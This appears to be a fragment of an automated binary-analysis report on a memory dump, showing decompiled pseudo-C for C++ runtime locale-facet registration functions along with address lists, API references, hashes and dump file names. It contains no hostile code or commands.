0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989

APIs

__EH_prolog3.LIBCMT ref: 6DD1F952
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F95C
int.LIBCPMT ref: 6DD1F973

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F9AD
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F9CD
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F9EB

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 8a81371a4fbb1c94058e7ded6c5b9e5ac4fb930f4b9d335dae584f37a4e5b168
Instruction ID: 1dcb0426b6e01a0ae4e2ae13ba8d84d42f50f8e4af777b8dd517c11837ac67fe
Opcode Fuzzy Hash: 8a81371a4fbb1c94058e7ded6c5b9e5ac4fb930f4b9d335dae584f37a4e5b168
Instruction Fuzzy Hash: 9711A07290812DDBCF01FBA4EC50AFDB775EF55314F26400AF614AB290DB7599028BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B93E, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B93E(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t83;
				signed int _t84;
				void* _t96;
				void* _t109;
				void* _t122;
				void* _t135;
				signed int _t207;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t236;
				void* _t242;

				_t223 = __edx;
				_t172 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t242 - 0x14, 0);
				_t231 =  *0x6ddd6e34; // 0x0
				 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
				 *(_t242 - 0x10) = _t231;
				_t83 = E6DCF161C(0x6ddd6e14);
				_t175 =  *((intOrPtr*)(_t242 + 8));
				_t84 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t83);
				_t225 = _t84;
				if(_t84 != 0) {
					L5:
					E6DD166BA(_t242 - 0x14);
					return E6DD30075(_t225);
				} else {
					if(_t231 == 0) {
						_push( *((intOrPtr*)(_t242 + 8)));
						_push(_t242 - 0x10);
						__eflags = E6DD2C0B8(__ebx, _t175, __edx, _t225, _t231) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t242 - 0x20);
							E6DD33D74(_t242 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t225, _t231, 0x14);
							E6DD16653(_t242 - 0x14, 0);
							_t232 =  *0x6ddd6e3c; // 0x0
							 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
							 *(_t242 - 0x10) = _t232;
							_t96 = E6DCF161C(0x6ddd6e1c);
							_t182 =  *((intOrPtr*)(_t242 + 8));
							_t226 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t96);
							__eflags = _t226;
							if(_t226 != 0) {
								L12:
								E6DD166BA(_t242 - 0x14);
								return E6DD30075(_t226);
							} else {
								__eflags = _t232;
								if(_t232 == 0) {
									_push( *((intOrPtr*)(_t242 + 8)));
									_push(_t242 - 0x10);
									__eflags = E6DD2C120(_t172, _t182, __edx, _t226, _t232) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t242 - 0x20);
										E6DD33D74(_t242 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t172, _t226, _t232, 0x14);
										E6DD16653(_t242 - 0x14, 0);
										_t233 =  *0x6ddd6e38; // 0x0
										 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
										 *(_t242 - 0x10) = _t233;
										_t109 = E6DCF161C(0x6ddd6e18);
										_t189 =  *((intOrPtr*)(_t242 + 8));
										_t227 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t109);
										__eflags = _t227;
										if(_t227 != 0) {
											L19:
											E6DD166BA(_t242 - 0x14);
											return E6DD30075(_t227);
										} else {
											__eflags = _t233;
											if(_t233 == 0) {
												_push( *((intOrPtr*)(_t242 + 8)));
												_push(_t242 - 0x10);
												__eflags = E6DD2C1A4(_t172, _t189, __edx, _t227, _t233) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t242 - 0x20);
													E6DD33D74(_t242 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t172, _t227, _t233, 0x14);
													E6DD16653(_t242 - 0x14, 0);
													_t234 =  *0x6ddd6e40; // 0x0
													 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
													 *(_t242 - 0x10) = _t234;
													_t122 = E6DCF161C(0x6ddd6e20);
													_t196 =  *((intOrPtr*)(_t242 + 8));
													_t228 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t122);
													__eflags = _t228;
													if(_t228 != 0) {
														L26:
														E6DD166BA(_t242 - 0x14);
														return E6DD30075(_t228);
													} else {
														__eflags = _t234;
														if(_t234 == 0) {
															_push( *((intOrPtr*)(_t242 + 8)));
															_push(_t242 - 0x10);
															__eflags = E6DD2C229(_t172, _t196, _t223, _t228, _t234) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t242 - 0x20);
																E6DD33D74(_t242 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t172, _t228, _t234, 0x14);
																E6DD16653(_t242 - 0x14, 0);
																_t235 =  *0x6ddd6e44; // 0x0
																 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
																 *(_t242 - 0x10) = _t235;
																_t135 = E6DCF161C(0x6ddd6e24);
																_t203 =  *((intOrPtr*)(_t242 + 8));
																_t229 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t135);
																__eflags = _t229;
																if(_t229 != 0) {
																	L33:
																	E6DD166BA(_t242 - 0x14);
																	return E6DD30075(_t229);
																} else {
																	__eflags = _t235;
																	if(_t235 == 0) {
																		_push( *((intOrPtr*)(_t242 + 8)));
																		_push(_t242 - 0x10);
																		__eflags = E6DD2C295(_t172, _t203, _t223, _t229, _t235) - 0xffffffff;
																		if(__eflags == 0) {
																			_t207 = _t242 - 0x20;
																			E6DCF1438(_t207);
																			E6DD33D74(_t242 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd7851f, _t172, _t229, _t235, 4);
																			_t236 = _t207;
																			 *(_t242 - 0x10) = _t236;
																			 *((intOrPtr*)(_t236 + 4)) =  *((intOrPtr*)(_t242 + 0xc));
																			_push( *((intOrPtr*)(_t242 + 0x14)));
																			_t77 = _t242 - 4;
																			 *_t77 =  *(_t242 - 4) & 0x00000000;
																			__eflags =  *_t77;
																			 *_t236 = 0x6dd7c414;
																			 *((char*)(_t236 + 0x28)) =  *((intOrPtr*)(_t242 + 0x10));
																			E6DD2D028(_t172, _t207, _t223, _t229, _t236,  *_t77);
																			return E6DD30075(_t236,  *((intOrPtr*)(_t242 + 8)));
																		} else {
																			_t229 =  *(_t242 - 0x10);
																			 *(_t242 - 0x10) = _t229;
																			 *(_t242 - 4) = 1;
																			E6DD16FD3(__eflags, _t229);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t229 + 4))))();
																			 *0x6ddd6e44 = _t229;
																			goto L33;
																		}
																	} else {
																		_t229 = _t235;
																		goto L33;
																	}
																}
															} else {
																_t228 =  *(_t242 - 0x10);
																 *(_t242 - 0x10) = _t228;
																 *(_t242 - 4) = 1;
																E6DD16FD3(__eflags, _t228);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t228 + 4))))();
																 *0x6ddd6e40 = _t228;
																goto L26;
															}
														} else {
															_t228 = _t234;
															goto L26;
														}
													}
												} else {
													_t227 =  *(_t242 - 0x10);
													 *(_t242 - 0x10) = _t227;
													 *(_t242 - 4) = 1;
													E6DD16FD3(__eflags, _t227);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t227 + 4))))();
													 *0x6ddd6e38 = _t227;
													goto L19;
												}
											} else {
												_t227 = _t233;
												goto L19;
											}
										}
									} else {
										_t226 =  *(_t242 - 0x10);
										 *(_t242 - 0x10) = _t226;
										 *(_t242 - 4) = 1;
										E6DD16FD3(__eflags, _t226);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t226 + 4))))();
										 *0x6ddd6e3c = _t226;
										goto L12;
									}
								} else {
									_t226 = _t232;
									goto L12;
								}
							}
						} else {
							_t225 =  *(_t242 - 0x10);
							 *(_t242 - 0x10) = _t225;
							 *(_t242 - 4) = 1;
							E6DD16FD3(__eflags, _t225);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 4))))();
							 *0x6ddd6e34 = _t225;
							goto L5;
						}
					} else {
						_t225 = _t231;
						goto L5;
					}
				}
			}

0x6dd2b93e
0x6dd2b93e
0x6dd2b945
0x6dd2b94f
0x6dd2b954
0x6dd2b95f
0x6dd2b963
0x6dd2b966
0x6dd2b96b
0x6dd2b96f
0x6dd2b974
0x6dd2b978
0x6dd2b9bd
0x6dd2b9c0
0x6dd2b9cc
0x6dd2b97a
0x6dd2b97c
0x6dd2b982
0x6dd2b988
0x6dd2b990
0x6dd2b993
0x6dd2b9d0
0x6dd2b9de
0x6dd2b9e3
0x6dd2b9eb
0x6dd2b9f5
0x6dd2b9fa
0x6dd2ba05
0x6dd2ba09
0x6dd2ba0c
0x6dd2ba11
0x6dd2ba1a
0x6dd2ba1c
0x6dd2ba1e
0x6dd2ba63
0x6dd2ba66
0x6dd2ba72
0x6dd2ba20
0x6dd2ba20
0x6dd2ba22
0x6dd2ba28
0x6dd2ba2e
0x6dd2ba36
0x6dd2ba39
0x6dd2ba76
0x6dd2ba84
0x6dd2ba89
0x6dd2ba91
0x6dd2ba9b
0x6dd2baa0
0x6dd2baab
0x6dd2baaf
0x6dd2bab2
0x6dd2bab7
0x6dd2bac0
0x6dd2bac2
0x6dd2bac4
0x6dd2bb09
0x6dd2bb0c
0x6dd2bb18
0x6dd2bac6
0x6dd2bac6
0x6dd2bac8
0x6dd2bace
0x6dd2bad4
0x6dd2badc
0x6dd2badf
0x6dd2bb1c
0x6dd2bb2a
0x6dd2bb2f
0x6dd2bb37
0x6dd2bb41
0x6dd2bb46
0x6dd2bb51
0x6dd2bb55
0x6dd2bb58
0x6dd2bb5d
0x6dd2bb66
0x6dd2bb68
0x6dd2bb6a
0x6dd2bbaf
0x6dd2bbb2
0x6dd2bbbe
0x6dd2bb6c
0x6dd2bb6c
0x6dd2bb6e
0x6dd2bb74
0x6dd2bb7a
0x6dd2bb82
0x6dd2bb85
0x6dd2bbc2
0x6dd2bbd0
0x6dd2bbd5
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc0c
0x6dd2bc0e
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14
0x6dd2bb87
0x6dd2bb87
0x6dd2bb8a
0x6dd2bb8e
0x6dd2bb92
0x6dd2bb9f
0x6dd2bba7
0x6dd2bba9
0x00000000
0x6dd2bba9
0x6dd2bb70
0x6dd2bb70
0x00000000
0x6dd2bb70
0x6dd2bb6e
0x6dd2bae1
0x6dd2bae1
0x6dd2bae4
0x6dd2bae8
0x6dd2baec
0x6dd2baf9
0x6dd2bb01
0x6dd2bb03
0x00000000
0x6dd2bb03
0x6dd2baca
0x6dd2baca
0x00000000
0x6dd2baca
0x6dd2bac8
0x6dd2ba3b
0x6dd2ba3b
0x6dd2ba3e
0x6dd2ba42
0x6dd2ba46
0x6dd2ba53
0x6dd2ba5b
0x6dd2ba5d
0x00000000
0x6dd2ba5d
0x6dd2ba24
0x6dd2ba24
0x00000000
0x6dd2ba24
0x6dd2ba22
0x6dd2b995
0x6dd2b995
0x6dd2b998
0x6dd2b99c
0x6dd2b9a0
0x6dd2b9ad
0x6dd2b9b5
0x6dd2b9b7
0x00000000
0x6dd2b9b7
0x6dd2b97e
0x6dd2b97e
0x00000000
0x6dd2b97e
0x6dd2b97c

APIs

__EH_prolog3.LIBCMT ref: 6DD2B945
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B94F
int.LIBCPMT ref: 6DD2B966

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2B9A0
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B9C0
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B9DE

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 65c51715daa00a41c1497578601be424a46e3d6196d0997265b08390d9954e0f
Instruction ID: bbdc8b985e315f3c5054ce05727015627dc96f007443858c29a00f78395631f6
Opcode Fuzzy Hash: 65c51715daa00a41c1497578601be424a46e3d6196d0997265b08390d9954e0f
Instruction Fuzzy Hash: 6111AC7290852DCBCF01FBA8C850AFDB774AF85728F164109F610AB290DBB49A05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B898, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B898(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t97;
				signed int _t98;
				void* _t110;
				void* _t123;
				void* _t136;
				void* _t149;
				void* _t162;
				signed int _t245;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				void* _t286;

				_t264 = __edx;
				_t203 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t286 - 0x14, 0);
				_t273 =  *0x6ddd6e30; // 0x0
				 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
				 *(_t286 - 0x10) = _t273;
				_t97 = E6DCF161C(0x6ddd6e10);
				_t206 =  *((intOrPtr*)(_t286 + 8));
				_t98 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t97);
				_t266 = _t98;
				if(_t98 != 0) {
					L5:
					E6DD166BA(_t286 - 0x14);
					return E6DD30075(_t266);
				} else {
					if(_t273 == 0) {
						_push( *((intOrPtr*)(_t286 + 8)));
						_push(_t286 - 0x10);
						__eflags = E6DD2C050(__ebx, _t206, __edx, _t266, _t273) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t286 - 0x20);
							E6DD33D74(_t286 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t266, _t273, 0x14);
							E6DD16653(_t286 - 0x14, 0);
							_t274 =  *0x6ddd6e34; // 0x0
							 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
							 *(_t286 - 0x10) = _t274;
							_t110 = E6DCF161C(0x6ddd6e14);
							_t213 =  *((intOrPtr*)(_t286 + 8));
							_t267 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t110);
							__eflags = _t267;
							if(_t267 != 0) {
								L12:
								E6DD166BA(_t286 - 0x14);
								return E6DD30075(_t267);
							} else {
								__eflags = _t274;
								if(_t274 == 0) {
									_push( *((intOrPtr*)(_t286 + 8)));
									_push(_t286 - 0x10);
									__eflags = E6DD2C0B8(_t203, _t213, __edx, _t267, _t274) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t286 - 0x20);
										E6DD33D74(_t286 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t203, _t267, _t274, 0x14);
										E6DD16653(_t286 - 0x14, 0);
										_t275 =  *0x6ddd6e3c; // 0x0
										 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
										 *(_t286 - 0x10) = _t275;
										_t123 = E6DCF161C(0x6ddd6e1c);
										_t220 =  *((intOrPtr*)(_t286 + 8));
										_t268 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t123);
										__eflags = _t268;
										if(_t268 != 0) {
											L19:
											E6DD166BA(_t286 - 0x14);
											return E6DD30075(_t268);
										} else {
											__eflags = _t275;
											if(_t275 == 0) {
												_push( *((intOrPtr*)(_t286 + 8)));
												_push(_t286 - 0x10);
												__eflags = E6DD2C120(_t203, _t220, __edx, _t268, _t275) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t286 - 0x20);
													E6DD33D74(_t286 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t203, _t268, _t275, 0x14);
													E6DD16653(_t286 - 0x14, 0);
													_t276 =  *0x6ddd6e38; // 0x0
													 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
													 *(_t286 - 0x10) = _t276;
													_t136 = E6DCF161C(0x6ddd6e18);
													_t227 =  *((intOrPtr*)(_t286 + 8));
													_t269 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t136);
													__eflags = _t269;
													if(_t269 != 0) {
														L26:
														E6DD166BA(_t286 - 0x14);
														return E6DD30075(_t269);
													} else {
														__eflags = _t276;
														if(_t276 == 0) {
															_push( *((intOrPtr*)(_t286 + 8)));
															_push(_t286 - 0x10);
															__eflags = E6DD2C1A4(_t203, _t227, _t264, _t269, _t276) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t286 - 0x20);
																E6DD33D74(_t286 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t203, _t269, _t276, 0x14);
																E6DD16653(_t286 - 0x14, 0);
																_t277 =  *0x6ddd6e40; // 0x0
																 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
																 *(_t286 - 0x10) = _t277;
																_t149 = E6DCF161C(0x6ddd6e20);
																_t234 =  *((intOrPtr*)(_t286 + 8));
																_t270 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t149);
																__eflags = _t270;
																if(_t270 != 0) {
																	L33:
																	E6DD166BA(_t286 - 0x14);
																	return E6DD30075(_t270);
																} else {
																	__eflags = _t277;
																	if(_t277 == 0) {
																		_push( *((intOrPtr*)(_t286 + 8)));
																		_push(_t286 - 0x10);
																		__eflags = E6DD2C229(_t203, _t234, _t264, _t270, _t277) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t286 - 0x20);
																			E6DD33D74(_t286 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t203, _t270, _t277, 0x14);
																			E6DD16653(_t286 - 0x14, 0);
																			_t278 =  *0x6ddd6e44; // 0x0
																			 *(_t286 - 4) =  *(_t286 - 4) & 0x00000000;
																			 *(_t286 - 0x10) = _t278;
																			_t162 = E6DCF161C(0x6ddd6e24);
																			_t241 =  *((intOrPtr*)(_t286 + 8));
																			_t271 = E6DCF171B( *((intOrPtr*)(_t286 + 8)), _t162);
																			__eflags = _t271;
																			if(_t271 != 0) {
																				L40:
																				E6DD166BA(_t286 - 0x14);
																				return E6DD30075(_t271);
																			} else {
																				__eflags = _t278;
																				if(_t278 == 0) {
																					_push( *((intOrPtr*)(_t286 + 8)));
																					_push(_t286 - 0x10);
																					__eflags = E6DD2C295(_t203, _t241, _t264, _t271, _t278) - 0xffffffff;
																					if(__eflags == 0) {
																						_t245 = _t286 - 0x20;
																						E6DCF1438(_t245);
																						E6DD33D74(_t286 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd7851f, _t203, _t271, _t278, 4);
																						_t279 = _t245;
																						 *(_t286 - 0x10) = _t279;
																						 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t286 + 0xc));
																						_push( *((intOrPtr*)(_t286 + 0x14)));
																						_t91 = _t286 - 4;
																						 *_t91 =  *(_t286 - 4) & 0x00000000;
																						__eflags =  *_t91;
																						 *_t279 = 0x6dd7c414;
																						 *((char*)(_t279 + 0x28)) =  *((intOrPtr*)(_t286 + 0x10));
																						E6DD2D028(_t203, _t245, _t264, _t271, _t279,  *_t91);
																						return E6DD30075(_t279,  *((intOrPtr*)(_t286 + 8)));
																					} else {
																						_t271 =  *(_t286 - 0x10);
																						 *(_t286 - 0x10) = _t271;
																						 *(_t286 - 4) = 1;
																						E6DD16FD3(__eflags, _t271);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t271 + 4))))();
																						 *0x6ddd6e44 = _t271;
																						goto L40;
																					}
																				} else {
																					_t271 = _t278;
																					goto L40;
																				}
																			}
																		} else {
																			_t270 =  *(_t286 - 0x10);
																			 *(_t286 - 0x10) = _t270;
																			 *(_t286 - 4) = 1;
																			E6DD16FD3(__eflags, _t270);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t270 + 4))))();
																			 *0x6ddd6e40 = _t270;
																			goto L33;
																		}
																	} else {
																		_t270 = _t277;
																		goto L33;
																	}
																}
															} else {
																_t269 =  *(_t286 - 0x10);
																 *(_t286 - 0x10) = _t269;
																 *(_t286 - 4) = 1;
																E6DD16FD3(__eflags, _t269);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t269 + 4))))();
																 *0x6ddd6e38 = _t269;
																goto L26;
															}
														} else {
															_t269 = _t276;
															goto L26;
														}
													}
												} else {
													_t268 =  *(_t286 - 0x10);
													 *(_t286 - 0x10) = _t268;
													 *(_t286 - 4) = 1;
													E6DD16FD3(__eflags, _t268);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t268 + 4))))();
													 *0x6ddd6e3c = _t268;
													goto L19;
												}
											} else {
												_t268 = _t275;
												goto L19;
											}
										}
									} else {
										_t267 =  *(_t286 - 0x10);
										 *(_t286 - 0x10) = _t267;
										 *(_t286 - 4) = 1;
										E6DD16FD3(__eflags, _t267);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t267 + 4))))();
										 *0x6ddd6e34 = _t267;
										goto L12;
									}
								} else {
									_t267 = _t274;
									goto L12;
								}
							}
						} else {
							_t266 =  *(_t286 - 0x10);
							 *(_t286 - 0x10) = _t266;
							 *(_t286 - 4) = 1;
							E6DD16FD3(__eflags, _t266);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t266 + 4))))();
							 *0x6ddd6e30 = _t266;
							goto L5;
						}
					} else {
						_t266 = _t273;
						goto L5;
					}
				}
			}

0x6dd2b898
0x6dd2b898
0x6dd2b89f
0x6dd2b8a9
0x6dd2b8ae
0x6dd2b8b9
0x6dd2b8bd
0x6dd2b8c0
0x6dd2b8c5
0x6dd2b8c9
0x6dd2b8ce
0x6dd2b8d2
0x6dd2b917
0x6dd2b91a
0x6dd2b926
0x6dd2b8d4
0x6dd2b8d6
0x6dd2b8dc
0x6dd2b8e2
0x6dd2b8ea
0x6dd2b8ed
0x6dd2b92a
0x6dd2b938
0x6dd2b93d
0x6dd2b945
0x6dd2b94f
0x6dd2b954
0x6dd2b95f
0x6dd2b963
0x6dd2b966
0x6dd2b96b
0x6dd2b974
0x6dd2b976
0x6dd2b978
0x6dd2b9bd
0x6dd2b9c0
0x6dd2b9cc
0x6dd2b97a
0x6dd2b97a
0x6dd2b97c
0x6dd2b982
0x6dd2b988
0x6dd2b990
0x6dd2b993
0x6dd2b9d0
0x6dd2b9de
0x6dd2b9e3
0x6dd2b9eb
0x6dd2b9f5
0x6dd2b9fa
0x6dd2ba05
0x6dd2ba09
0x6dd2ba0c
0x6dd2ba11
0x6dd2ba1a
0x6dd2ba1c
0x6dd2ba1e
0x6dd2ba63
0x6dd2ba66
0x6dd2ba72
0x6dd2ba20
0x6dd2ba20
0x6dd2ba22
0x6dd2ba28
0x6dd2ba2e
0x6dd2ba36
0x6dd2ba39
0x6dd2ba76
0x6dd2ba84
0x6dd2ba89
0x6dd2ba91
0x6dd2ba9b
0x6dd2baa0
0x6dd2baab
0x6dd2baaf
0x6dd2bab2
0x6dd2bab7
0x6dd2bac0
0x6dd2bac2
0x6dd2bac4
0x6dd2bb09
0x6dd2bb0c
0x6dd2bb18
0x6dd2bac6
0x6dd2bac6
0x6dd2bac8
0x6dd2bace
0x6dd2bad4
0x6dd2badc
0x6dd2badf
0x6dd2bb1c
0x6dd2bb2a
0x6dd2bb2f
0x6dd2bb37
0x6dd2bb41
0x6dd2bb46
0x6dd2bb51
0x6dd2bb55
0x6dd2bb58
0x6dd2bb5d
0x6dd2bb66
0x6dd2bb68
0x6dd2bb6a
0x6dd2bbaf
0x6dd2bbb2
0x6dd2bbbe
0x6dd2bb6c
0x6dd2bb6c
0x6dd2bb6e
0x6dd2bb74
0x6dd2bb7a
0x6dd2bb82
0x6dd2bb85
0x6dd2bbc2
0x6dd2bbd0
0x6dd2bbd5
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc0c
0x6dd2bc0e
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14
0x6dd2bb87
0x6dd2bb87
0x6dd2bb8a
0x6dd2bb8e
0x6dd2bb92
0x6dd2bb9f
0x6dd2bba7
0x6dd2bba9
0x00000000
0x6dd2bba9
0x6dd2bb70
0x6dd2bb70
0x00000000
0x6dd2bb70
0x6dd2bb6e
0x6dd2bae1
0x6dd2bae1
0x6dd2bae4
0x6dd2bae8
0x6dd2baec
0x6dd2baf9
0x6dd2bb01
0x6dd2bb03
0x00000000
0x6dd2bb03
0x6dd2baca
0x6dd2baca
0x00000000
0x6dd2baca
0x6dd2bac8
0x6dd2ba3b
0x6dd2ba3b
0x6dd2ba3e
0x6dd2ba42
0x6dd2ba46
0x6dd2ba53
0x6dd2ba5b
0x6dd2ba5d
0x00000000
0x6dd2ba5d
0x6dd2ba24
0x6dd2ba24
0x00000000
0x6dd2ba24
0x6dd2ba22
0x6dd2b995
0x6dd2b995
0x6dd2b998
0x6dd2b99c
0x6dd2b9a0
0x6dd2b9ad
0x6dd2b9b5
0x6dd2b9b7
0x00000000
0x6dd2b9b7
0x6dd2b97e
0x6dd2b97e
0x00000000
0x6dd2b97e
0x6dd2b97c
0x6dd2b8ef
0x6dd2b8ef
0x6dd2b8f2
0x6dd2b8f6
0x6dd2b8fa
0x6dd2b907
0x6dd2b90f
0x6dd2b911
0x00000000
